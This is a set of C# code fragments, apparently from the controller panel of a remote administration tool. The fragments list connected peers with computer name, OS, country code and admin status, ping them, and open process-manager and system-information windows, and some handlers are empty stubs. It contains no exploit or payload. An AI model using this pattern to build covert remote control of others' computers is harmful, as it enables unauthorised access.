public void Initialize() { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var tsItm = new ToolStripMenuItem("Process manager"); tsItm.Click += tsItm_Click; connectionList.AddContextMenuItem(tsItm); }
public void OnPeerDisconnected(ChannelEventArgs e) { _connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; if (_connectionList != null) { var item = _connectionList.FindItem(itm => itm != null && Equals(itm.AssociatedPeer.Identity, e.Peer.Identity)); _connectionList.RemoveItem(item); } }
void tsItm_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; connectionList.GetSelectedItems().ForEach(itm => { itm.AssociatedChannel.Send(new ConnectionPingPacket(), itm.AssociatedPeer.Identity.Guid); }); }
void tsItmDisconnect_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var selectedItems = connectionList.GetSelectedItems(); selectedItems.ForEach( itm => itm.AssociatedChannel.Send(new ConnectionManagementPacket(ConnectionAction.Disconnect), itm.AssociatedPeer.Identity.Guid)); }
void tsItm_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; connectionList.GetSelectedItems().ForEach(itm => { var op = itm.AssociatedChannel.CreateOperation <ProcessManagerOperation>(itm.AssociatedPeer.Identity.Guid); new ProcessManagerForm(itm.SubItems[0].Text, op).Show(); }); }
public void Initialize() { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var tsItm = new ToolStripMenuItem("System information"); tsItm.Click += tsItm_Click; if (connectionList != null) { connectionList.AddContextMenuItem(tsItm); } }
public void OnPacketReceived(ServerPacketEventArgs e) { if (e.Packet is ConnectionPingPacket) { var diff = (DateTime.Now - DateTime.FromBinary((e.Packet as ConnectionPingPacket).Timestamp)).Milliseconds; var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; connectionList.FindItem(itm => itm.AssociatedPeer.Identity.Equals(e.Peer.Identity)).SubItems[5].Text = diff + "ms"; } }
void tsItm_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; foreach (var itm in connectionList.GetSelectedItems()) { var op = itm.AssociatedChannel.CreateOperation <ExtendedInformationOperation>(itm.AssociatedPeer.Identity.Guid); var extInfoFrm = new ExtendedInformationForm(op); extInfoFrm.Show(); } }
public void Initialize() { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var tsItmMain = new ToolStripMenuItem("Manage Connection"); var tsItmDisconnect = new ToolStripMenuItem("Disconnect"); var tsItmReconnect = new ToolStripMenuItem("Reconnect"); var tsItmUninstall = new ToolStripMenuItem("Uninstall"); tsItmDisconnect.Click += tsItmDisconnect_Click; tsItmReconnect.Click += tsItmReconnect_Click; tsItmUninstall.Click += tsItmUninstall_Click; tsItmMain.DropDownItems.Add(tsItmDisconnect); tsItmMain.DropDownItems.Add(tsItmReconnect); tsItmMain.DropDownItems.Add(tsItmUninstall); connectionList.AddContextMenuItem(tsItmMain); }
void OperationPacketReceived(object sender, uNet2.Packet.Events.OperationPacketEventArgs e) { if (e.Packet is SystemInformationPacket) { var packet = e.Packet as SystemInformationPacket; var peer = (e.Channel as TcpServerChannel).ConnectedPeers.FirstOrDefault( p => p.Identity.Guid == e.Operation.ConnectionGuid); _connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var lvItm = new ConnectionListItem(peer, e.Channel as TcpServerChannel); lvItm.Text = peer.Endpoint.ToString(); lvItm.SubItems.Add(packet.ComputerName); lvItm.SubItems.Add(packet.OperatingSystem); lvItm.SubItems.Add(packet.CountryCode); lvItm.SubItems.Add(packet.IsAdmin); lvItm.SubItems.Add(Math.Truncate(peer.PingDelay) + " ms"); _connectionList.AddItem(lvItm); } e.Operation.CloseOperation(); }
void tsItmReconnect_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; }
void tsItmUninstall_Click(object sender, EventArgs e) { var connectionList = UiServiceProvider.GetService("ConnectionList") as ConnectionListService; var selectedItems = connectionList.GetSelectedItems(); }